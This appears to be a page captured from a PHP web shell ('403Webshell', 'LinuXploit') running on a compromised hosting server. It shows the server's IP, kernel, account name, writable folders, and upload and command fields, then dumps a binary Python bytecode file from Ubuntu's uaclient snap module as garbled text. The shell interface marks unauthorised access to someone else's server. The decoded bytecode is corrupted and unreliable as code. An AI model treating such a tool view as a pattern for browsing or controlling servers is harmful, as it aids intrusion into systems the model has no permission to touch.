403Webshell
Server IP : 172.67.131.151  /  Your IP : 104.23.243.167
Web Server : Apache
System : Linux keen-cori.18-142-40-148.plesk.page 5.15.0-1084-aws #91~20.04.1-Ubuntu SMP Fri May 2 06:59:36 UTC 2025 x86_64
User : simottodesign.com_2tntp341vs7 ( 10011)
PHP Version : 8.3.31
Disable Function : opcache_get_status
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/uaclient/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/uaclient/__pycache__/snap.cpython-38.pyc
U

2�d��@slddlZddlZddlZddlZddlZddlmZmZm	Z	ddl
mZmZm
Z
mZmZmZdZdddgZdZd	Zd
ZdZe��Ze�e�e��Zedd
efdefdefdefdefg�Zed�dd�Z d+e	ee	ee	ee!dd�dd�Z"d,ee	ee!dd�dd�Z#ee	ed�dd�Z$eed�dd�Z%d d!�Z&d"d#�Z'd-ee	eed%�d&d'�Z(eed(�d)d*�Z)dS).�N)�List�
NamedTuple�Optional)�apt�event_logger�
exceptions�messages�system�utilz
/usr/bin/snapg�?g�?g@z
proxy.httpzproxy.httpsz/run/snapd.socketz/v2/snaps/{}�SnapPackage�name�version�revision�channel�	publisher)�returncCsdt��kS)z(Returns whether or not snap is installed�snapd)rZget_installed_packages_names�rr�//usr/lib/python3/dist-packages/uaclient/snap.py�is_snapd_installed!sr)�
http_proxy�https_proxy�retry_sleepsrcCstt�st�d�dS|s|r0t�tjjdd��|rPtj	dddd�|�g|d�|rptj	dddd	�|�g|d�dS)
a
    Configure snap to use http and https proxies.

    :param http_proxy: http proxy to be used by snap. If None, it will
                       not be configured
    :param https_proxy: https proxy to be used by snap. If None, it will
                        not be configured
    :param retry_sleeps: Optional list of sleep lengths to apply between
        retries. Specifying a list of [0.5, 1] tells subp to retry twice
        on failure; sleeping half a second before the first retry and 1 second
        before the second retry.
    z6Skipping configure snap proxy. snapd is not installed.N�snap)�service�setr	z
proxy.http={}�rzproxy.https={})
r�LOG�debug�event�inforZSETTING_SERVICE_PROXY�formatr	�subp)rrrrrr�configure_snap_proxy&s
��r#)�
protocol_typerrcCs4t�st�d�dStjdddd�|�g|d�dS)a�
    Unset snap configuration settings for http and https proxies.

    :param protocol_type: String either http or https
    :param retry_sleeps: Optional list of sleep lengths to apply between
        retries. Specifying a list of [0.5, 1] tells subp to retry twice
        on failure; sleeping half a second before the first retry and 1 second
        before the second retry.
    z8Skipping unconfigure snap proxy. snapd is not installed.NrZunsetr	zproxy.{}r)rrrr	r"r!)r$rrrr�unconfigure_snap_proxyKs
�r%)�keyrcCs>z t�ddd|g�\}}|��WStjk
r8YdSXdS)z�
    Gets the config value from snap.
    :param protocol: can be any valid snap config option
    :return: the value of the snap config option, or None if not set
    r�getr	N)r	r"�stripr�ProcessExecutionError)r&�out�_rrr�get_config_option_value`s

r,cCsZt�ddddddg�\}}|��}|dd�}g}|D]}|��d}|�t|��q6|S)Nr�listz--color�neverz	--unicode�r)r	r"�
splitlines�split�append�
get_snap_info)r*r+ZappsZsnaps�linerrrr�get_installed_snapsms�r5c
Cs�t�tj�zt��Wn4tjk
rL}zt�	dt
|��W5d}~XYnXztjddddgtj
d�Wntjk
r�t���YnXdS)Nz<Trying to install snapd. Ignoring apt-get update failure: %szapt-get�installz--assume-yesrr)rr rZAPT_UPDATING_LISTSrZrun_apt_update_commandrZUserFacingErrorrr�strr	r"ZAPT_RETRIESr)ZCannotInstallSnapdError��errr�
install_snapd{s�
�
r:c
Cshztjtdddgdd�WnHtjk
rb}z(t�dt|����rPt	�
tj�n�W5d}~XYnXdS)N�waitr	zseed.loadedT)�capturezunknown command .*wait)
r	r"�SNAP_CMDrr)�re�searchr7�lowerr�warningrZSNAPD_DOES_NOT_HAVE_WAIT_CMDr8rrr�run_snapd_wait_cmd�srBF)rr�classic_confinement_supportcCs@td|g}|r|dg7}|r,|d�|�g7}tj|dtd�dS)Nr6z	--classicz--channel={}T)r<r)r=r!r	r"�SNAP_INSTALL_RETRIES)rrrC�cmdrrr�install_snap�s

�rF)rrc	Cs�t�tjtj�}|�t�tj�d�}||_t	�
|�}�zz�|�dt	�
|��|�
�}|���d�}zt�|�}WnVtjk
r�t���$t�tjj
d�
|�|d�j�W5QRXtj||d��YnX|jdk�r"|jdk�r|�d	i��d
�dk�rt�|��n|�d	i��d�}t�|��Wnt k
�rBt�!��YnXW5|��|��X|�d	i�}t"|�d
d�|�dd�|�dd�|�dd�|�di��dd�d�S)NZ	localhostZGETzutf-8zSNAPD API {})�sourcer*)�urlr*��i��resultZkindzsnap-not-found�messager�r
rrrZusername)rr
rrr)#�socketZAF_UNIXZSOCK_STREAMZconnect�SNAPD_SOCKET_PATH�httpZclientZHTTPConnectionZsock�SNAPD_SNAPS_APIr!�closeZrequestZgetresponse�read�decode�json�loadsZJSONDecodeErrorr
Zdisable_log_to_consolerrArZJSON_PARSER_ERROR�msgrZSnapdInvalidJsonZstatusr'ZSnapNotInstalledErrorZUnexpectedSnapdAPIError�ConnectionRefusedErrorZSnapdAPIConnectionRefusedr)	rZ	snap_sockZconnrHZresponser*�dataZ	error_msgZ	snap_inforrrr3�sP


����




�r3)NNN)N)NF)*Zhttp.clientrOrTZloggingr>rM�typingrrrZuaclientrrrrr	r
r=rDZHTTP_PROXY_OPTIONZHTTPS_PROXY_OPTIONrNrPZget_event_loggerrZ	getLoggerZreplace_top_level_logger_name�__name__rr7r�boolr�floatr#r%r,r5r:rBrFr3rrrr�<module>sf 
���
�&�
�
��

Youez - 2016 - github.com/yon3zu
LinuXploit